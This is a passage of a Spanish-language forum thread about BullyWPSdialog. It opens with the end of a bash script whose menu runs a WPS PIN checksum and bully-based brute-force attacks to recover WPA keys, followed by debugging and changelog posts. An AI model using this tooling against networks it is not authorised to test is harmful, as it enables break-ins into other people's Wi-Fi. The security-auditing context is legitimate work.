    pin=$(($pin / 10))
    acum=$(($acum + ($pin % 10)))
    pin=$(($pin / 10))
  done

  result=$(((10 - ($acum % 10)) % 10))
  PIN_p2=$(($result % 10000000))
}

# Función menú principal
menu() {

# Información del objetivo
INFO_AP="
$(if [ "$1" = "--InfoAP" ]; then
echo "\n\n        INFORMACIÓN DEL OBJETIVO\n"
echo "   ************************************  \n"
echo "      ESSID: $ESSID\n"
echo "      BSSID: $BSSID\n"
echo "      Canál: $CANAL\n"
if [ "$2" = "--InfoWPA" ]; then
echo "    PIN WPS: $WPS_PIN\n"
echo "  Clave WPA: $CLAVE_WPA\n"
echo "   ************************************  \n\n"
else
echo "   ************************************  \n\n"
fi
fi)"

# Diálogo con opciones del menú principal
dialog --backtitle "$BACKTITLE" \
       --title " MENU PRINCIPAL " \
       --cancel-label "Salir" \
       --menu "$INFO_AP\nSelecciona una opción:" 0 0 0 \
     "1)" "Escanear en busca de objetivos" \
     "2)" "Comenzar ataque de fuerza bruta" \
     "3)" "Probar un PIN específico" \
     "4)" "Seleccionar otro objetivo" \
2>"$TMP/seleccion.txt"

# Si dialog no devuelve el valor 0, salimos
if [ ! $? = 0 ]; then reset_iface; exit 1; fi

# Dependiendo de la opción elegida, se llama a la función correspondiente
case $(cat "$TMP/seleccion.txt"|tr -d ')') in
1 ) escanear_wps;;
2 ) bully_wps --InfoAP;;
3 ) bully_wps --InfoAP --Pin;;
4 ) seleccionar_objetivo;;
esac
}

# Si existe la ruta $TMP y no es un directorio se elimina
if [ -e "$TMP" ] && [ ! -d "$TMP" ]; then rm -rf "$TMP"; fi

# Si no existe la ruta $TMP la creamos
if [ ! -d "$TMP" ]; then mkdir -p "$TMP"; fi

# Comienza el script seleccionando la interface
seleccionar_interface

Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: USUARIONUEVO en 26-09-2013, 11:02 (Jueves)
pruebo y te digo ...

TODO OK

PERFECT  ;D


Espero que ahora ya si , ...lo que ha dado de si un simple "sleep" ...  :'(
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: alist3r en 26-09-2013, 11:20 (Jueves)
Bien , ... pues resulta que estamos IGUAL O PEOR que antes.


Cuando el driver es ath9k_htc , hay que resetear 2


ath9k & ath9k_htc


me di cuenta de que no estaba funcionando por que el numero de interfaces monitor no para de aumentar y cuando tumbamos el driver se supone que caen todas ...y no es asi , por lo que el driver no se esta desmontando.  :'(


Al final veras tu , que lo mas comodo el el down/up y a correr.

de veras? entonces se confirman mis temores xDDDD
no pasa nada. podemos hardcodear todos los casos que hagan falta, es sumamente sencillo.
una estructura de control CASE/ESAC y arreando. no supone problema alguno.
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: USUARIONUEVO en 26-09-2013, 11:34 (Jueves)
Bien , ... pues resulta que estamos IGUAL O PEOR que antes.


Cuando el driver es ath9k_htc , hay que resetear 2


ath9k & ath9k_htc


me di cuenta de que no estaba funcionando por que el numero de interfaces monitor no para de aumentar y cuando tumbamos el driver se supone que caen todas ...y no es asi , por lo que el driver no se esta desmontando.  :'(


Al final veras tu , que lo mas comodo el el down/up y a correr.

de veras? entonces se confirman mis temores xDDDD
no pasa nada. podemos hardcodear todos los casos que hagan falta, es sumamente sencillo.
una estructura de control CASE/ESAC y arreando. no supone problema alguno.

ya esta arreglado alist3r , solo necesitaba un sleep ...entre el remotanje de driver y el airmon-ng start ...si noi cuando airmon buscaba la interface estaba desaparecida por que aun no habia levantado el driver , y de hay fallaba todo.
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: geminis_demon en 26-09-2013, 11:37 (Jueves)
pruebo y te digo ...

TODO OK

PERFECT  ;D


Espero que ahora ya si , ...lo que ha dado de si un simple "sleep" ...  :'(

jejeje.. a veces la solución es tan sencilla que damos por echo que no puede ser tan fácil, y nos complicamos la vida buscando otra solución mas compleja, a mi me suele pasar eso  >:D

Bueno pues ya está, tema arreglado, lo pongo en el post principal  >:(
Título: Re:
Publicado por: lupox en 26-09-2013, 11:46 (Jueves)
Es cierto lo texte  ayer por la noche y si comenta reset-iface. Justo delante de la función que monta en modo monitor. Ya no se producía el bug. Por otra parte tenias que  reseteaer ath9k_htc. No ath9k.

Yo tb  había deducido que podía ser una cuestión de tiempo.
Bueno cuando tenga ocasión probaré esta nueva versión.

Tengo que añadir que es un bonito y claro script, muy comentado con lo que fácilmente localizas las distintas partes del código.

 Saludos a todos.


Enviado desde Tapaltak 4
Título: Re: Re: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: lupox en 26-09-2013, 12:01 (Jueves)
Bien , ... pues resulta que estamos IGUAL O PEOR que antes.


Cuando el driver es ath9k_htc , hay que resetear 2


ath9k & ath9k_htc


me di cuenta de que no estaba funcionando por que el numero de interfaces monitor no para de aumentar y cuando tumbamos el driver se supone que caen todas ...y no es asi , por lo que el driver no se esta desmontando.  :'(




 Cuando reseteas atk9k_htc , resetea toda la rama ath9k  no es necesario resetear esta específicamente.

Se ve muy claro si ejecutas. modprobe -rv ath9k_htc
Seguido de modprobe -v ath9k_htc

Enviado desde Tapaltak 4
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: alist3r en 26-09-2013, 12:32 (Jueves)
todos los problemas fueran como este, lupox... :D
Título: Re:
Publicado por: lupox en 26-09-2013, 12:38 (Jueves)
Ya se qu te estas peleando con el uefi. Bonita contienda.;D

Enviado desde Tapaltak 4
Título: Re:
Publicado por: alist3r en 26-09-2013, 13:02 (Jueves)
Ya se qu te estas peleando con el uefi. Bonita contienda.;D

Enviado desde Tapaltak 4

la mayor frustracion que tengo es que arrancar un pendrive con un nucleo de 64 bits usando gummiboot  es pan comido, mientras que arrancar un cd con un nucleo de 32 bits en una maquina de 64 bits usando isolinux es... un dolor de muelas xD
Título: Re:
Publicado por: lupox en 26-09-2013, 19:15 (Jueves)
Funka ok.

Enviado desde Tapaltak 4
Título: Re:
Publicado por: geminis_demon en 26-09-2013, 20:30 (Jueves)
Funka ok.

Enviado desde Tapaltak 4

Perfect, gracias por confirmarlo  ;)
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: warcry en 27-09-2013, 23:10 (Viernes)
bueno pos entonces un rapido videodemo, antes de que se le añadan nuevas funcionalidades

Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: SpanishGroove en 27-09-2013, 23:39 (Viernes)
Hehe, como evoluciona la Warcry edition. Ya verás como te la vuelven a pedir.
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: geminis_demon en 28-09-2013, 00:45 (Sábado)
bueno pos entonces un rapido videodemo, antes de que se le añadan nuevas funcionalidades

jeje curiosamente la próxima función va a ser la de instalar la última versión de bully  >:D

Gracias por el vídeo  ;)
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: Raul2014 en 29-09-2013, 15:28 (Domingo)
Pues el script no hace absolutamente nada, es curioso, debe faltarme saber algo o habilitar alguna opción. Cualquier otro funciona correctamente. Poseo Backbox Linux, basado en Ubuntu. Lo copié bien, habilité la opción de ejecutable... Bully instalado y funcionando. En pocas palabras, si los otros funcionan, ¿por qué este no? (scripts de redes). Leí el código y no veo el problema, ha de ser algo en mi equipo, soft o hard. Ni siquiera un mensaje de error. Desde ya gracias.
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: alist3r en 29-09-2013, 15:31 (Domingo)
@raul2014
si un script no hace nada, es porque no lo has ejecutado xDDDDDDD

coñas aparte, puedes decirnos, aún y  a pesar de la ausencia de feedback, cuánto tarda el script en "salir" y con qué exit code lo hace.

de todos modos lo mas obvio lógico y evidente es que no tengas dialog instalado. pero en tal caso verías mensajes de error en pantalla.
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: Raul2014 en 29-09-2013, 15:33 (Domingo)
La respuesta suena a insulto, obviamente lo ejecuté... como hago con tantos otros.
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: geminis_demon en 29-09-2013, 15:50 (Domingo)
También puede ser que no lo estés ejecutando con privilegios de root, aunque en tal caso también debería salir un aviso por pantalla.

¿Que comando usas para ejecutarlo?
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: Raul2014 en 29-09-2013, 15:59 (Domingo)
Gracias por las respuestas. Acabo de reinstalar dialog, previa eliminación completa. Ahora arranca pero no detecta la interface. Seguiré trasteando, la cosa se puso interesante ya que hay mensajes de error.
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: alist3r en 29-09-2013, 16:01 (Domingo)
Gracias por las respuestas. Acabo de reinstalar dialog, previa eliminación completa. Ahora arranca pero no detecta la interface. Seguiré trasteando, la cosa se puso interesante ya que hay mensajes de error.

menos mal!
esto ya parece algo más razonable!
porque sin mensajes de error, como no agarremos la bola de cristal... xD
pégalos (los mensajes de error), vamos a ver qué se cuenta el script.
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: geminis_demon en 29-09-2013, 21:39 (Domingo)
Versión 0.9 añadida al primer post.

Changelog:
Citar
# VERSION 0.9  29/09/2013
# -----------------------
# Adaptada la función de salvar la clave WPA (Necesario para que funcione con las
# últimas versiones de bully).

# Se añade la función de actualizar Bully desde GitHub.
# Se añade comprobación de privilegios al ejecutar el script.
# Algunos cambios menores en el código.
Título: Re: BullyWPSdialog v0.9 - Interface dialog para auditar WPS con bully
Publicado por: ñandu en 29-09-2013, 22:00 (Domingo)
Versión 0.9 añadida al primer post.

Changelog:
Citar
# VERSION 0.9  29/09/2013
# -----------------------
# Adaptada la función de salvar la clave WPA (Necesario para que funcione con las
# últimas versiones de bully).

# Se añade la función de actualizar Bully desde GitHub.
# Se añade comprobación de privilegios al ejecutar el script.
# Algunos cambios menores en el código.
gracias maquina  >:( >:( >:( >:( >:( >:( un salu2 ;D
Título: Re: BullyWPSdialog v0.9 - Interface dialog para auditar WPS con bully
Publicado por: alist3r en 29-09-2013, 22:12 (Domingo)
cualquier dia, me despertaré y me encontraré el desayuno hecho por un script de geminis!
buen trabajo, máquina!
Título: Re: BullyWPSdialog v0.9 - Interface dialog para auditar WPS con bully
Publicado por: geminis_demon en 29-09-2013, 22:17 (Domingo)
cualquier dia, me despertaré y me encontraré el desayuno hecho por un script de geminis!
buen trabajo, máquina!

jajajajajaja  >:(
Título: Re: Re: Re: BullyWPSdialog v0.9 - Interface dialog para auditar WPS con bully
Publicado por: warcry en 29-09-2013, 22:20 (Domingo)
cualquier dia, me despertaré y me encontraré el desayuno hecho por un script de geminis!
buen trabajo, máquina!

Y si ya a ese script le pone un buen par de domingas, pelo largo, Rubio y liso, con ojos verdes y que se deje meter mano de vez en cuando...

Me pido el primero que saques ;D ;D ;D
Título: Re:
Publicado por: lupox en 30-09-2013, 15:39 (Lunes)
Muy bueno, solo le falta sacar los pin  genéricos.

Enviado desde Tapaltak 4
Título: Re: BullyWPSdialog v0.9 - Interface dialog para auditar WPS con bully
Publicado por: warcry en 30-09-2013, 20:26 (Lunes)
le he hechado un vistacillo rapido y va de fabula.

bien una preguntilla que lanzo al aire ... ¿por que mandais las keys a una ruta especifica x y no las meteis en las rutas correspondientes para que salgan en el acceso directo wireless-keys que wifislax crea en el escritorio?
Título: Re: BullyWPSdialog v0.9 - Interface dialog para auditar WPS con bully
Publicado por: lupox en 30-09-2013, 20:49 (Lunes)
Todo ok.
Título: Re: BullyWPSdialog v0.9 - Interface dialog para auditar WPS con bully
Publicado por: geminis_demon en 30-09-2013, 21:10 (Lunes)
le he hechado un vistacillo rapido y va de fabula.

bien una preguntilla que lanzo al aire ... ¿por que mandais las keys a una ruta especifica x y no las meteis en las rutas correspondientes para que salgan en el acceso directo wireless-keys que wifislax crea en el escritorio?

La mayoría de los scripts guardan las keys en /root/swireless, y después ya USUARIONUEVO se encarga de poner los accesos directos a los directorios de cada uno.
Título: Re:
Publicado por: geminis_demon en 30-09-2013, 21:10 (Lunes)
Muy bueno, solo le falta sacar los pin  genéricos.

Enviado desde Tapaltak 4

Pues no es mala idea, posiblemente lo añada  ;)
Título: Re: BullyWPSdialog v0.9 - Interface dialog para auditar WPS con bully
Publicado por: warcry en 30-09-2013, 21:12 (Lunes)
le he hechado un vistacillo rapido y va de fabula.

bien una preguntilla que lanzo al aire ... ¿por que mandais las keys a una ruta especifica x y no las meteis en las rutas correspondientes para que salgan en el acceso directo wireless-keys que wifislax crea en el escritorio?

La mayoría de los scripts guardan las keys en /root/swireless, y después ya USUARIONUEVO se encarga de poner los accesos directos a los directorios de cada uno.

sip me acabo de dar cuenta que lo que hay dentro de wireless-keys no son carpetas, son accesos directos
Título: Re: BullyWPSdialog v0.9 - Interface dialog para auditar WPS con bully
Publicado por: USUARIONUEVO en 30-09-2013, 21:13 (Lunes)
le he hechado un vistacillo rapido y va de fabula.

bien una preguntilla que lanzo al aire ... ¿por que mandais las keys a una ruta especifica x y no las meteis en las rutas correspondientes para que salgan en el acceso directo wireless-keys que wifislax crea en el escritorio?

La mayoría de los scripts guardan las keys en /root/swireless, y después ya USUARIONUEVO se encarga de poner los accesos directos a los directorios de cada uno.

sip me acabo de dar cuenta que lo que hay dentro de wireless-keys no son carpetas, son accesos directos

no os preoscupeis que en la proxima esta ya todo eso apañado.

Cada aplicación guarad las keys en una ruta diferente , asi que un dia se me ocurrio montar un directorio y agrupar las maximas posibles con enlaces simbólicos a una sola ruta.


Hay muchos detallitos que no se ven , pero vienen super comodos.  ;)

Título: Re: BullyWPSdialog v1.0 - Interface dialog para auditar WPS con bully
Publicado por: geminis_demon en 06-02-2014, 06:04 (Jueves)
Añadida la versión 1.0 al primer post.

Código: [Seleccionar]
# VERSION 1.0  06/02/2014
# -----------------------
# - Se añade la función de blacklistear la interface en la config de NetworkManager
#   para evitar conflictos en Wifislax-4.8
Título: Re: BullyWPSdialog v1.0 - Interface dialog para auditar WPS con bully
Publicado por: USUARIONUEVO en 06-02-2014, 08:00 (Jueves)
acabo de probar ...

si sales desde la opcion salir todo perfect...

pero como se te cierre la shell ...o la cierres tu sin querer ,te deja la tarjeta out.
Título: Re: BullyWPSdialog v1.0 - Interface dialog para auditar WPS con bully
Publicado por: geminis_demon en 06-02-2014, 08:41 (Jueves)
Pues lo acabo de revisar y a mi siempre me vuelve a habilitar la interface, cerrando la ventana, presionando control+C, o saliendo desde el menú.

Prueba en modo live, a ver si es por haber estado tocando o probando configuraciones con el networkmanager.
Título: Re: BullyWPSdialog v1.0 - Interface dialog para auditar WPS con bully
Publicado por: USUARIONUEVO en 06-02-2014, 09:23 (Jueves)
Pues lo acabo de revisar y a mi siempre me vuelve a habilitar la interface, cerrando la ventana, presionando control+C, o saliendo desde el menú.

Prueba en modo live, a ver si es por haber estado tocando o probando configuraciones con el networkmanager.

pues si yo escaneo ...y decido despues cerrar de la "x"    .... me quedo sin driver de tarjeta, y con la .conf del networkmanager blacklistando la interface.

a ver si es que tienes mas de una interface y no te das cuenta que una esta "out" ...

cierra de la "x" , del tiron ...
Título: Re: BullyWPSdialog v1.0 - Interface dialog para auditar WPS con bully
Publicado por: geminis_demon en 06-02-2014, 10:04 (Jueves)
Solo tengo una tarjeta.

No se que decirte, a mi me funciona perfect, a ver si alguien mas lo prueba y confirma.
Título: Re: Re: BullyWPSdialog v1.0 - Interface dialog para auditar WPS con bully
Publicado por: cond-e en 06-02-2014, 20:54 (Jueves)
Ami tambien me funciona perfecto con la ubikiti y la awusnh navegando y airodump ala vez.:D

Enviado desde mi GT-I9505 mediante Tapatalk
Título: Re: BullyWPSdialog v1.0 - Interface dialog para auditar WPS con bully
Publicado por: geminis_demon en 07-02-2014, 06:58 (Viernes)
Bueno pues al final si que tenía un error aunque creo que solo afectaba a un chip en concreto, de todas formas ya está reparado, he resubido el script en el post principal.
Título: Re: BullyWPSdialog v1.0 - Interface dialog para auditar WPS con bully
Publicado por: modo_senin en 16-01-2015, 02:13 (Viernes)
Como hago para configurar bully con pins especificos?  si quiero que pruebe 50 pins , hay alguna forma de hacerlo?